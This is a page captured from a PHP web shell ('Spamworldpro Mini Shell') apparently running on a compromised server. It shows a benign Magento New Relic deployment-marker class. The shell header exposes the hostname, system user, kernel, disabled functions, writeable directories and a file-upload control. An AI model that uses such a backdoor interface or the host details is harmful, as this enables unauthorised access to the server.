Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-new-relic-reporting/Model/Apm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-new-relic-reporting/Model/Apm/Deployments.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
namespace Magento\NewRelicReporting\Model\Apm;

use Laminas\Http\Exception\RuntimeException;
use Laminas\Http\Request;
use Magento\Framework\HTTP\LaminasClient;
use Magento\Framework\HTTP\LaminasClientFactory;
use Magento\NewRelicReporting\Model\Config;
use Psr\Log\LoggerInterface;

/**
 * Performs the request to make the deployment
 */
class Deployments
{
    /**
     * API URL for New Relic deployments
     */
    private const API_URL = 'https://api.newrelic.com/v2/applications/%s/deployments.json';

    /**
     * @var Config
     */
    protected $config;

    /**
     * @var LoggerInterface
     */
    protected $logger;

    /**
     * @var LaminasClientFactory $clientFactory
     */
    protected $clientFactory;

    /**
     * Constructor
     *
     * @param Config $config
     * @param LoggerInterface $logger
     * @param LaminasClientFactory $clientFactory
     */
    public function __construct(
        Config $config,
        LoggerInterface $logger,
        LaminasClientFactory $clientFactory
    ) {
        $this->config = $config;
        $this->logger = $logger;
        $this->clientFactory = $clientFactory;
    }

    /**
     * Performs the request to make the deployment
     *
     * @param string $description
     * @param bool $change
     * @param bool $user
     * @param ?string $revision
     *
     * @return bool|string
     */
    public function setDeployment($description, $change = false, $user = false, $revision = null)
    {
        $apiUrl = $this->config->getNewRelicApiUrl();
        if (empty($apiUrl)) {
            $this->logger->notice('New Relic API URL is blank, using fallback URL');
            $apiUrl = self::API_URL;
        }

        $apiUrl = sprintf($apiUrl, $this->config->getNewRelicAppId());

        /** @var LaminasClient $client */
        $client = $this->clientFactory->create();
        $client->setUri($apiUrl);
        $client->setMethod(Request::METHOD_POST);
        $client->setHeaders(
            [
                'Api-Key' => $this->config->getNewRelicApiKey(),
                'Content-Type' => 'application/json'
            ]
        );

        if (!$revision) {
            $revision = hash('sha256', time());
        }

        $params = [
            'deployment' => [
                'description' => $description,
                'changelog' => $change,
                'user' => $user,
                'revision' => $revision
            ]
        ];

        $client->setParameterPost($params);

        try {
            $response = $client->send();
        } catch (RuntimeException $e) {
            $this->logger->critical($e);
            return false;
        }

        if ($response->getStatusCode() < 200 || $response->getStatusCode() > 210) {
            $this->logger->warning('Deployment marker request did not send a 200 status code.');
            return false;
        }

        return $response->getBody();
    }
}

Spamworldpro Mini